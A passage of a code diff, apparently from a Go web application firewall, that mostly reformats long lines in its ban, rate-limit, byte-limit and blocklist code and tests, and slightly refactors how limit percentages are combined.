+	release := func() { once.Do(func() { close(released) }) }
-		t.Errorf("%d queries to the DNS blocklist, want 1", queries)
+	// Run before conn is closed, so that no query is left waiting.
-	}
+	t.Cleanup(release)
 
-	if checked := server.AbuseIPDB.Checked(); checked != 1 {
+	return conn.LocalAddr().String(), release
-		t.Errorf("%d checks with AbuseIPDB, want 1", checked)
-	}
 }

internal/waf/bans.go

@@ -29,7 +29,11 @@ type activeBan struct{}
 
 func (activeBan) name() string { return "active_ban" }
 
-func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
+func (activeBan) check(
+	_ context.Context,
+	rq *request,
+	now time.Time,
+) *verdict {
 	check := rq.h.ledger.Check
 	if rq.h.config.Observe {
 		check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -101,7 +105,11 @@ func (rq *request) countedBytes() int64 {
 // the client's counters back to zero. In observe mode it makes no ban and
 // sets nothing back, and raises the alert for the ban it would have made,
 // if that alert would be sent.
-func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
+func (rq *request) banForLimit(
+	now time.Time,
+	hit ratelimit.Hit,
+	status int,
+) {
 	switch hit.Kind {
 	case ratelimit.KindBytes:
 		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -115,7 +123,8 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 	rq.h.metrics.LimitHit(hit)
 
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
+	if rq.h.config.Observe &&
+		!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
 		return
 	}
 
@@ -164,8 +173,11 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 // alert would be sent. It returns the action for that ban.
 func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+	if rq.h.config.Observe &&
-		return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
+		!rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+		return banAction(
+			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
+		)
 	}
 
 	notes.ASN = rq.line.ASN
@@ -198,10 +210,16 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 // CrowdSec's decision on the client, ends. In observe mode it makes no
 // ban, and raises the alert for the ban it would have made, if that alert
 // would be sent. It returns the action for that ban.
-func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
+func (rq *request) banForCrowdSec(
+	now time.Time,
+	decision reputation.Decision,
+) string {
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+	if rq.h.config.Observe &&
-		return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
+		!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return banAction(
+			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
+		)
 	}
 
 	notes := bans.Notes{
@@ -214,8 +232,13 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
 	}
 
 	if rq.h.config.Observe {
-		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
-			decision.Scenario, notes)
+			netblock,
+			now,
+			decision.Expires,
+			decision.Scenario,
+			notes,
+		)
 		if wouldBan {
 			rq.alertBan(ban)
 		}

internal/waf/bans_test.go

@@ -33,29 +33,52 @@ const (
 func TestBrokenLimitBansTheClient(t *testing.T) {
 	t.Parallel()
 
-	s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+	s, clk, _ := startWithClock(
+		t,
+		"",
+		map[string]string{rateLimitPerMinute: "1"},
+	)
 	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
 
 	// The request over the limit of one a minute is refused, and bans the
 	// client for an hour, the default.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 
-	line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	line := s.get(
+		client,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 	if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
 		line.BanExpires != expires {
-		t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+		t.Errorf(
-			"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
+			"log line has limit_hit %q, offence %q and ban_expires %q, "+
-			expires)
+				"want minute, limit and %s",
+			line.LimitHit,
+			line.Offence,
+			line.BanExpires,
+			expires,
+		)
 	}
 
 	// Every request while the ban lasts is refused.
 	clk.advance(time.Hour - time.Second)
 
-	line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line = s.get(
-	if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
+		client,
-		t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
+		http.StatusForbidden,
-			"want %s and neither of the others", line.BanExpires, line.Offence,
+		requestlog.ActionTemporarilyBanned,
-			line.LimitHit, expires)
+	)
+	if line.BanExpires != expires || line.Offence != "" ||
+		line.LimitHit != "" {
+		t.Errorf(
+			"log line has ban_expires %q, offence %q and limit_hit %q, "+
+				"want %s and neither of the others",
+			line.BanExpires,
+			line.Offence,
+			line.LimitHit,
+			expires,
+		)
 	}
 
 	// Once it ends, the client is let through.
@@ -78,7 +101,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 	breakLimit := func() string {
 		s.get(client, http.StatusOK, requestlog.ActionForward)
 
-		line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+		line := s.get(
+			client,
+			http.StatusForbidden,
+			requestlog.ActionClientIsRateLimited,
+		)
 
 		return line.BanExpires
 	}
@@ -119,7 +146,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
+	s, clk, server := startWithClock(
+		t,
+		"",
+		map[string]string{rateLimitPerDay: "2"},
+	)
 
 	// The third request in a day is over the limit of two, and bans the
 	// client for an hour.
@@ -128,7 +159,11 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
 	for range 3 {
-		s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+		s.get(
+			client,
+			http.StatusForbidden,
+			requestlog.ActionTemporarilyBanned,
+		)
 	}
 
 	// Later the same day the client has its whole allowance again: the
@@ -141,7 +176,10 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 
 	banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
 	if len(banned) != 2 || banned[0].Notes.Refused != 3 {
-		t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
+		t.Errorf(
+			"bans %+v, want two, the first with 3 requests refused",
+			banned,
+		)
 	}
 }
 
@@ -192,10 +230,18 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
 			s, _, _ := startWithClock(t, "", env)
 
 			s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
-			s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+			s.get(
+				tc.breaker,
+				http.StatusForbidden,
+				requestlog.ActionClientIsRateLimited,
+			)
 
 			for _, sent := range tc.refused {
-				s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+				s.get(
+					sent,
+					http.StatusForbidden,
+					requestlog.ActionTemporarilyBanned,
+				)
 			}
 
 			for _, sent := range tc.let {
@@ -220,7 +266,11 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
-	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line := s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 	if line.Country != "" {
 		t.Errorf("log line has country %q, want none", line.Country)
 	}
@@ -241,7 +291,11 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
-	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line := s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 	wantHeuristic(t, line, "active_ban",
 		`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
 }
@@ -347,8 +401,12 @@ func TestBanNotes(t *testing.T) {
 	s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
 	got = ledger.Bans(netblock)
-	if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+	if len(got) != 2 ||
-		t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
+		got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf(
+			"bans %+v, want two, the second with one earlier ban for a limit",
+			got,
+		)
 	}
 }
 
@@ -364,10 +422,18 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
-	s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 }
 
 // clock is the time a test sets, by which sww counts requests and
@@ -408,9 +474,20 @@ func startWithClock(
 	settings := map[string]string{trustedProxies: trustLocalhost}
 	maps.Copy(settings, env)
 
-	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
+	addr, out, server := startProxyWithClock(
+		t,
+		app.URL,
+		geojsURL,
+		clk.Now,
+		settings,
+	)
 
-	return &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}, clk, server
+	return &sender{
+		t:       t,
+		addr:    addr,
+		wafAddr: server.Addr,
+		out:     out,
+	}, clk, server
 }
 
 // sender sends requests to rproxy one after another, each on a connection of its
@@ -437,7 +514,11 @@ func (s *sender) get(from string, status int, action string) logLine {
 // X-Forwarded-For names it, and checks that its answer and its log line
 // have status, 0 for the connection closed without an answer, and that
 // the line has action. It returns the log line.
-func (s *sender) request(from, path string, status int, action string) logLine {
+func (s *sender) request(
+	from, path string,
+	status int,
+	action string,
+) logLine {
 	s.t.Helper()
 
 	return s.requestWithHeader(from, path, "", status, action)
@@ -450,7 +531,15 @@ func (s *sender) requestWithHeader(
 ) logLine {
 	s.t.Helper()
 
-	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
+	line, _ := s.requestWithBody(
+		http.MethodGet,
+		from,
+		path,
+		header,
+		"",
+		status,
+		action,
+	)
 
 	return line
 }

internal/waf/biased.go

@@ -22,8 +22,10 @@ type percentage struct {
 // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
 // then needed before its request goes on.
 func biasedThresholdsSet(cfg *config.Config) bool {
-	return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
+	return len(cfg.ASNBytesPercent) > 0 ||
-		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
+		len(cfg.CountryBytesPercent) > 0 ||
+		cfg.UnknownLimitPercent < whole ||
+		cfg.ASNLimitPercentURL != ""
 }
 
 // limitPercentages returns the client's limit percentages, for the rate
@@ -48,7 +50,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 
 	unknown := percentage{percent: whole}
 	if country == "" && !rq.skippedLookupWait {
-		unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
+		unknown = percentage{
+			cfg.UnknownLimitPercent,
+			"SWW_UNKNOWN_LIMIT_PERCENT",
+		}
 	}
 
 	fetched := percentage{percent: whole}
@@ -58,24 +63,41 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 
 	blocklisted := percentage{percent: whole}
 	if rq.blocklisted && cfg.BlocklistAction == "limit" {
-		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
+		blocklisted = percentage{
+			cfg.BlocklistLimitPercent,
+			"SWW_BLOCKLIST_ACTION",
+		}
 	}
 
 	reputationListed := percentage{percent: whole}
-	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
+	if (rq.dnsblListed || rq.abuseIPDBHit) &&
-		reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
+		cfg.ReputationAction == "limit" {
+		reputationListed = percentage{
+			cfg.ReputationLimitPercent,
+			"SWW_REPUTATION_ACTION",
+		}
 	}
 
 	const tagSetting = "SWW_TAG_LIMIT_PERCENT"
 
-	asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
+	asnRequests := lowest(
-	countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
+		given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
+		fetched,
+	)
+	countryRequests := given(
+		cfg.TagLimitPercent,
+		countryTag(country),
+		tagSetting,
+	)
 
 	otherTags := percentage{percent: whole}
 
 	for _, tag := range rq.line.Tags {
 		if tag != asnTag(asn) && tag != countryTag(country) {
-			otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
+			otherTags = lowest(
+				otherTags,
+				given(cfg.TagLimitPercent, tag, tagSetting),
+			)
 		}
 	}
 
@@ -85,12 +107,18 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 	}
 
 	if _, listed := cfg.CountryBytesPercent[country]; listed {
-		countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
+		countryBytes = given(
+			cfg.CountryBytesPercent,
+			country,
+			"SWW_COUNTRY_BYTES_PERCENT",
+		)
 	}
 
-	return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
+	// The limits that lower requests and bytes alike.
-			reputationListed),
+	common := lowest(otherTags, unknown, blocklisted, reputationListed)
-		lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
+
+	return lowest(asnRequests, countryRequests, common),
+		lowest(asnBytes, countryBytes, common)
 }
 
 // given returns the percentage percents, the setting named setting, gives

internal/waf/biased_test.go

@@ -86,7 +86,11 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
 
 			// fromKP, which no setting lists, has the whole limit.
 			for range 3 {
-				line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
+				line := s.get(
+					fromKP,
+					http.StatusOK,
+					requestlog.ActionForward,
+				)
 				wantPercent(t, "rate_limit_percent",
 					line.RateLimitPercent, line.RateLimitPercentSetting,
 					none)
@@ -118,7 +122,11 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 			// The upload's 100 bytes are over half of 199, 99.
 			line := s.uploadFrom(tc.from)
 			if line.LimitHit != minuteBytes {
-				t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
+				t.Errorf(
+					"log line has limit_hit %q, want %s",
+					line.LimitHit,
+					minuteBytes,
+				)
 			}
 
 			wantPercent(t, "bytes_limit_percent",
@@ -128,7 +136,11 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 			// fromKP, which no setting lists, has the whole limit.
 			line = s.uploadFrom(fromKP)
 			if line.LimitHit != "" {
-				t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
+				t.Errorf(
+					"log line for %s has limit_hit %q, want none",
+					fromKP,
+					line.LimitHit,
+				)
 			}
 
 			wantPercent(t, "bytes_limit_percent",
@@ -137,7 +149,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 	}
 }
 
-func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
+func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -178,7 +192,11 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
 			// The upload's 100 bytes are over 99, half of 199, and within 199.
 			line := s.uploadFrom(fromDE)
 			if line.LimitHit != tc.limitHit {
-				t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
+				t.Errorf(
+					"log line has limit_hit %q, want %q",
+					line.LimitHit,
+					tc.limitHit,
+				)
 			}
 
 			wantPercent(t, "rate_limit_percent",
@@ -194,16 +212,26 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
 func TestZeroPercentIsAZeroAllowance(t *testing.T) {
 	t.Parallel()
 
-	s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
+	s, _, _ := startWithLookups(
+		t,
+		map[string]string{unknownLimitPercent: "0"},
+	)
 
 	// The first request breaks the limit, and bans the client; the log line
 	// gives the 0.
-	line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	line := s.get(
+		unplaced,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 	if line.fields["rate_limit_percent"] != float64(0) ||
 		line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
-		t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
+		t.Errorf(
-			line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
+			"log line has rate_limit_percent %v from %v, want 0 from %s",
-			unknownLimitPercent)
+			line.fields["rate_limit_percent"],
+			line.fields["rate_limit_percent_setting"],
+			unknownLimitPercent,
+		)
 	}
 
 	s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -256,7 +284,11 @@ func TestLowestPercentageApplies(t *testing.T) {
 			// A quarter of 4 requests a minute: the second breaks the limit.
 			s.get(tc.from, http.StatusOK, requestlog.ActionForward)
 
-			line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+			line := s.get(
+				tc.from,
+				http.StatusForbidden,
+				requestlog.ActionClientIsRateLimited,
+			)
 			wantPercent(t, "rate_limit_percent",
 				line.RateLimitPercent, line.RateLimitPercentSetting,
 				tc.want)
@@ -264,7 +296,9 @@ func TestLowestPercentageApplies(t *testing.T) {
 	}
 }
 
-func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
+func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	s, _, _ := startWithLookups(t, map[string]string{
@@ -276,7 +310,11 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *test
 	for _, from := range []string{unplaced, "10.0.0.8"} {
 		s.get(from, http.StatusOK, requestlog.ActionForward)
 		s.get(from, http.StatusOK, requestlog.ActionForward)
-		s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+		s.get(
+			from,
+			http.StatusForbidden,
+			requestlog.ActionClientIsRateLimited,
+		)
 	}
 
 	// One in a country has the whole limit.
@@ -300,7 +338,12 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
 		serveFromDE(t, server, http.MethodGet, http.NoBody)
 
 		line := out.requestLine(t)
-		wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+		wantLine(
+			t,
+			line,
+			http.StatusForbidden,
+			requestlog.ActionClientIsRateLimited,
+		)
 		wantPercent(t, "rate_limit_percent",
 			line.RateLimitPercent, line.RateLimitPercentSetting,
 			"0 from "+unknownLimitPercent)
@@ -341,7 +384,12 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 					})
 				began := time.Now()
 
-				serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
+				serveFromDE(
+					t,
+					server,
+					http.MethodPost,
+					strings.NewReader("ab"),
+				)
 
 				want := time.Duration(0)
 				if tc.waits {
@@ -349,10 +397,19 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 				}
 
 				if waited := time.Since(began); waited != want {
-					t.Errorf("the request waited %s for its answer, want %s", waited, want)
+					t.Errorf(
+						"the request waited %s for its answer, want %s",
+						waited,
+						want,
+					)
 				}
 
-				wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+				wantLine(
+					t,
+					out.requestLine(t),
+					http.StatusOK,
+					requestlog.ActionForward,
+				)
 
 				// The bubble's clock stops once this function returns, so the
 				// request to GeoJS, which a request that did not wait leaves
@@ -363,7 +420,9 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 	}
 }
 
-func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
+func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -405,8 +464,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
 				s.uploadFrom(fromDE)
 			}
 
-			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
+			s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader,
-				tc.status, tc.action)
+				uploadBody, tc.status, tc.action)
 
 			held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
 			if len(held) != 1 {
@@ -415,7 +474,11 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
 
 			notes := held[0].Notes
 			if held[0].Reason != tc.reason {
-				t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
+				t.Errorf(
+					"the ban's reason is %q, want %q",
+					held[0].Reason,
+					tc.reason,
+				)
 			}
 
 			wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
@@ -423,12 +486,21 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
 
 			waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 			if len(waiting) != 1 {
-				t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
+				t.Fatalf(
+					"%d alerts wait, want the ban's alone: %+v",
+					len(waiting),
+					waiting,
+				)
 			}
 
 			alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
-			wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
+			wantPercent(
-				alerted.LimitPercentSetting, tc.want)
+				t,
+				"the alert's notes' limit_percent",
+				alerted.LimitPercent,
+				alerted.LimitPercentSetting,
+				tc.want,
+			)
 		})
 	}
 }
@@ -462,7 +534,10 @@ func startWithLookupsAndClock(
 		noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
 	})
 
-	settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
+	settings := map[string]string{
+		lookupSource: fileSource,
+		lookupDBPath: path,
+	}
 	maps.Copy(settings, env)
 
 	return startAppWithAlerts(t, readAndAnswer, settings)
@@ -472,8 +547,15 @@ func startWithLookupsAndClock(
 func (s *sender) uploadFrom(from string) logLine {
 	s.t.Helper()
 
-	line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
+	line, _ := s.requestWithBody(
-		http.StatusOK, requestlog.ActionForward)
+		http.MethodPost,
+		from,
+		"/",
+		uploadHeader,
+		uploadBody,
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 
 	return line
 }
@@ -496,7 +578,12 @@ func serveFromDE(
 // wantPercent checks a limit percentage that a log line or a ban's notes
 // give, what, and the setting that gave it, against want, as percentText
 // gives them.
-func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
+func wantPercent(
+	t *testing.T,
+	what string,
+	percent *int64,
+	setting, want string,
+) {
 	t.Helper()
 
 	if got := percentText(percent, setting); got != want {

internal/waf/blocklists.go

@@ -18,7 +18,11 @@ type blocklists struct{}
 
 func (blocklists) name() string { return "blocklists" }
 
-func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
+func (blocklists) check(
+	_ context.Context,
+	rq *request,
+	_ time.Time,
+) *verdict {
 	listedBy := rq.h.lists.ListedBy(rq.client)
 	rq.blocklisted = len(listedBy) > 0
 	rq.noteListed(listedBy, "listed by a blocklist")

internal/waf/bytelimits.go

@@ -20,13 +20,21 @@ type byteLimits struct{}
 
 func (byteLimits) name() string { return "byte_limits" }
 
-func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
+func (byteLimits) check(
+	_ context.Context,
+	rq *request,
+	now time.Time,
+) *verdict {
 	if !rq.counted || rq.line.WouldAction != "" {
 		return nil
 	}
 
-	counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
+	counts, hit, over := rq.h.limiter.CountBytes(
-		rq.countedBytes(), rq.bytesLimitPercent.percent)
+		rq.h.clientGroup(rq.client),
+		now,
+		rq.countedBytes(),
+		rq.bytesLimitPercent.percent,
+	)
 	rq.line.Counts.MinuteBytes = counts.MinuteBytes
 	rq.line.Counts.HourBytes = counts.HourBytes
 	rq.line.Counts.DayBytes = counts.DayBytes

internal/waf/bytelimits_test.go

@@ -67,8 +67,11 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 			// 70 bytes are within the limit of 99.
 			line, _ := s.download()
 			if line.LimitHit != "" || line.Offence != "" {
-				t.Errorf("log line has limit_hit %q and offence %q, want neither",
+				t.Errorf(
-					line.LimitHit, line.Offence)
+					"log line has limit_hit %q and offence %q, want neither",
+					line.LimitHit,
+					line.Offence,
+				)
 			}
 
 			// 140 bytes are over it. The response is passed on whole, and
@@ -79,18 +82,35 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 			line, got := s.download()
 			if got.err != nil || len(got.body) != answerBytes ||
 				line.ResponseBytes != answerBytes {
-				t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
+				t.Errorf(
-					"want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
+					"got %d bytes (%v), and the log line has response_bytes %d, "+
+						"want %d",
+					len(got.body),
+					got.err,
+					line.ResponseBytes,
+					answerBytes,
+				)
 			}
 
-			if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit ||
+			if line.LimitHit != tc.window+"_bytes" ||
+				line.Offence != requestlog.OffenceLimit ||
 				line.BanExpires != expires {
-				t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
+				t.Errorf(
-					"want %s_bytes, limit and %s", line.LimitHit, line.Offence,
+					"log line has limit_hit %q, offence %q and ban_expires %q, "+
-					line.BanExpires, tc.window, expires)
+						"want %s_bytes, limit and %s",
+					line.LimitHit,
+					line.Offence,
+					line.BanExpires,
+					tc.window,
+					expires,
+				)
 			}
 
-			s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+			s.get(
+				client,
+				http.StatusForbidden,
+				requestlog.ActionTemporarilyBanned,
+			)
 
 			wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
 				`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
@@ -101,7 +121,10 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
 	t.Parallel()
 
-	s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit})
+	s, _ := startWithAnswers(
+		t,
+		map[string]string{bytesLimitPerMinute: byteLimit},
+	)
 
 	line, _ := s.download()
 	wantAfterAnswerHeuristic(t, line, "", "null")
@@ -120,9 +143,16 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) {
 
 	// The answer's 70 bytes are over the limit of 50 on their own.
 	line, got := s.download()
-	if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes {
+	if got.err != nil || len(got.body) != answerBytes ||
-		t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
+		line.LimitHit != minuteBytes {
-			len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes)
+		t.Errorf(
+			"got %d bytes (%v), and the log line has limit_hit %q, want %d and %s",
+			len(got.body),
+			got.err,
+			line.LimitHit,
+			answerBytes,
+			minuteBytes,
+		)
 	}
 
 	s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -138,13 +168,27 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
 
 	// The 70 bytes passed on before the app broke off are over the limit of
 	// 50, and ban the client for an hour.
-	line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
+	line, got := s.requestWithBody(
-		requestlog.ActionForward)
+		http.MethodGet,
+		client,
+		"/",
+		"",
+		"",
+		http.StatusOK,
+		requestlog.ActionForward,
+	)
 	if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
 		line.BanExpires != expires {
